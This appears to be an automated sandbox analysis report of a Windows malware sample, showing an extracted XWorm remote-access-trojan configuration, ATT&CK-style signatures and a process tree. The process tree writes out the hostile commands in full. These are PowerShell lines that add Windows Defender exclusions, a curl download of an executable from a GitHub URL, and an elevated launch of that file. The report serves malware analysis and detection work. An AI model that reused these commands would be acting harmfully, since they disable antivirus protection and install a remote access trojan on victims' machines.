Analysis
- max time kernel
149s - max time network
149s - platform
windows11-21h2_x64 - resource
win11-20251229-en - resource tags
- submitted
09/01/2026, 03:41
General
- Target 2026-01-09_c76bf94937851e8a276fa3c386056fb8_elex_wannacry.exe
- Size 28KB
- Sample260109-d88ghscx9c
- SHA256 9f9642c9cc6cfde1ed29a520527af0826dbc3ab5f1be5a98cdde25361d3d3bde
Malware Config
Extracted
-
xworm
-
5.0
-
ZobyYog3nyah123-35769.portmap.host:35769
-
mNfqe7liaYz9rcKt
-
install_file
USB.exe
-
localhost
127.0.0.1
Signatures
- Detect Xworm Payload 2 IoCs
- Xworm
Xworm is a remote access trojan written in C#.
- Xworm family
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Downloads MZ/PE file 1 IoCs
- Executes dropped EXE 1 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Runs net.exe
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-01-09_c76bf94937851e8a276fa3c386056fb8_elex_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-01-09_c76bf94937851e8a276fa3c386056fb8_elex_wannacry.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7z7551C29C\Tmp ByPa$$.bat" "2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net.exenet session3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 session4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -EP bypass -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\NotBlockAbleTemp'"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -EP bypass -Command "Add-MpPreference -ExclusionProcess 'C:\ProgramData\NotBlockAbleTemp\Update.exe'"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\curl.execurl -L "https://github.com/HauntedM/H/raw/refs/heads/main/update.exe" -o "C:\ProgramData\NotBlockAbleTemp\Update.exe" --silent3⤵
- Downloads MZ/PE file
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -EP bypass -Command "Start-Process -FilePath 'C:\ProgramData\NotBlockAbleTemp\Update.exe' -Verb RunAs"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\NotBlockAbleTemp\Update.exe"C:\ProgramData\NotBlockAbleTemp\Update.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
Update.exe
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
Tmp ByPa$$.bat
__PSScriptPolicyTest_mzih0pio.wc0.ps1
memory/2760-74-0x0000000007980000-0x0000000007F26000-memory.dmp
memory/2760-73-0x0000000006620000-0x0000000006642000-memory.dmp
memory/2760-71-0x0000000005C00000-0x0000000005F57000-memory.dmp
memory/4124-78-0x0000000000970000-0x000000000097E000-memory.dmp
memory/4784-56-0x000000006FAE0000-0x000000006FB2C000-memory.dmp
memory/4784-54-0x0000000005B90000-0x0000000005EE7000-memory.dmp
memory/6044-35-0x0000000007880000-0x0000000007924000-memory.dmp
memory/6044-42-0x0000000007C10000-0x0000000007C25000-memory.dmp
memory/6044-25-0x000000006FAE0000-0x000000006FB2C000-memory.dmp
memory/6044-32-0x00000000052A0000-0x00000000052B0000-memory.dmp
memory/6044-33-0x00000000052A0000-0x00000000052B0000-memory.dmp
memory/6044-34-0x0000000006C60000-0x0000000006C7E000-memory.dmp
memory/6044-23-0x000000007F440000-0x000000007F450000-memory.dmp
memory/6044-36-0x0000000008000000-0x000000000867A000-memory.dmp
memory/6044-37-0x00000000079C0000-0x00000000079DA000-memory.dmp
memory/6044-38-0x0000000007A30000-0x0000000007A3A000-memory.dmp
memory/6044-39-0x0000000007C60000-0x0000000007CF6000-memory.dmp
memory/6044-40-0x0000000007BD0000-0x0000000007BE1000-memory.dmp
memory/6044-41-0x0000000007C00000-0x0000000007C0E000-memory.dmp
memory/6044-24-0x0000000007630000-0x0000000007664000-memory.dmp
memory/6044-43-0x0000000007D20000-0x0000000007D3A000-memory.dmp
memory/6044-44-0x0000000007D00000-0x0000000007D08000-memory.dmp
memory/6044-22-0x0000000006710000-0x000000000675C000-memory.dmp
memory/6044-21-0x0000000006660000-0x000000000667E000-memory.dmp
memory/6044-20-0x00000000061A0000-0x00000000064F7000-memory.dmp
memory/6044-13-0x0000000006130000-0x0000000006196000-memory.dmp
memory/6044-12-0x00000000060C0000-0x0000000006126000-memory.dmp
memory/6044-11-0x00000000057D0000-0x00000000057F2000-memory.dmp
memory/6044-10-0x00000000058E0000-0x0000000005F0A000-memory.dmp
memory/6044-9-0x00000000052A0000-0x00000000052B0000-memory.dmp
memory/6044-8-0x00000000051B0000-0x00000000051E6000-memory.dmp
memory/6044-7-0x00000000052A0000-0x00000000052B0000-memory.dmp